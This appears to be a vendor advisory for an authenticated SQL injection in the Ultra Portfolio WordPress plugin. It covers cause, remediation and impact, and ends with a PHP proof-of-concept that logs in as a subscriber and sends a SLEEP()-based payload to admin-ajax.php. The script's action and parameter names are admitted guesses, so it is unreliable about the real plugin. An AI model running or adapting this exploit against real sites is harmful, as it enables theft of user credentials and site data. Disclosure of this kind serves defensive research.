Atomic Edge analysis of CVE-2025-69180 (metadata-based):
This vulnerability is an authenticated SQL injection in the Ultra Portfolio WordPress plugin versions up to and including 6.7. The flaw allows attackers with subscriber-level privileges or higher to execute arbitrary SQL commands. The CVSS 3.1 score of 6.5 (Medium) reflects its network attack vector, low attack complexity, and high confidentiality impact with no integrity or availability effects.
Atomic Edge research indicates the root cause is insufficient escaping of user-supplied parameters combined with inadequate query preparation. The CWE-89 classification confirms improper neutralization of special elements in SQL commands. Without access to source code, Atomic Edge infers the plugin likely constructs SQL queries by directly concatenating user input into SQL statements. The description’s mention of “appending additional SQL queries” suggests the vulnerable code may use UNION-based injection or stacked queries via a vulnerable parameter.
Exploitation requires an authenticated WordPress user account with at least subscriber privileges. Attackers would target a specific AJAX endpoint or REST API route exposed by the Ultra Portfolio plugin. A typical attack vector involves sending a POST request to /wp-admin/admin-ajax.php with an action parameter containing the plugin’s AJAX hook (e.g., action=ultra_portfolio_action). The malicious SQL payload would be placed in another parameter, such as id or slug. Example payloads include time-based blind injection using SLEEP() or UNION SELECT queries to extract database information like user credentials or plugin data.
Proper remediation requires implementing prepared statements using WordPress’s $wpdb->prepare() method. The plugin should replace all direct string concatenation in SQL queries with parameterized queries. Input validation should also be added, restricting user input to expected data types and ranges. WordPress capability checks should remain in place, but SQL injection prevention requires separate query sanitization measures.
Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information, plugin-specific data, and potentially other database contents. While the vulnerability requires authentication, subscriber accounts are easily obtainable through registration on open sites. Data exfiltration can lead to credential stuffing attacks, privacy violations, and further system compromise through password cracking or session hijacking.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69180 - Ultra Portfolio <= 6.7 - Authenticated (Subscriber+) SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-69180
* ASSUMPTIONS:
* 1. The plugin registers an AJAX action hook named 'ultra_portfolio_action' (common pattern)
* 2. A vulnerable parameter named 'id' accepts user input without proper sanitization
* 3. The endpoint is accessible to authenticated users with subscriber role
* 4. The SQL injection is time-based blind, allowing SLEEP() execution
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login succeeded by looking for WordPress dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'logout') === false) {
die('Login failed. Check credentials.');
}
// Craft SQL injection payload (time-based blind)
// This payload tests if SLEEP() executes, confirming SQL injection
$sql_payload = "1' AND SLEEP(5) AND '1'='1";
// Send exploit request to vulnerable AJAX endpoint
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'ultra_portfolio_action', // Inferred AJAX action name
'id' => $sql_payload, // Injected parameter
'nonce' => 'dummy_nonce' // Nonce may be required but could be bypassed
]));
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
// Analyze response
if ($elapsed >= 5) {
echo "[+] SQL Injection confirmed! Response delayed by " . round($elapsed, 2) . " seconds.n";
echo "[+] Vulnerability present. Database extraction possible via UNION SELECT or stacked queries.n";
} else {
echo "[-] No time delay detected. Injection may not work or endpoint/parameters differ.n";
echo "[-] Try alternative AJAX actions: 'ultra_portfolio_get', 'up_action', 'portfolio_action'n";
echo "[-] Try alternative parameters: 'slug', 'post_id', 'portfolio_id', 'item_id'n";
}
// Clean up
@unlink('cookies.txt');
?>
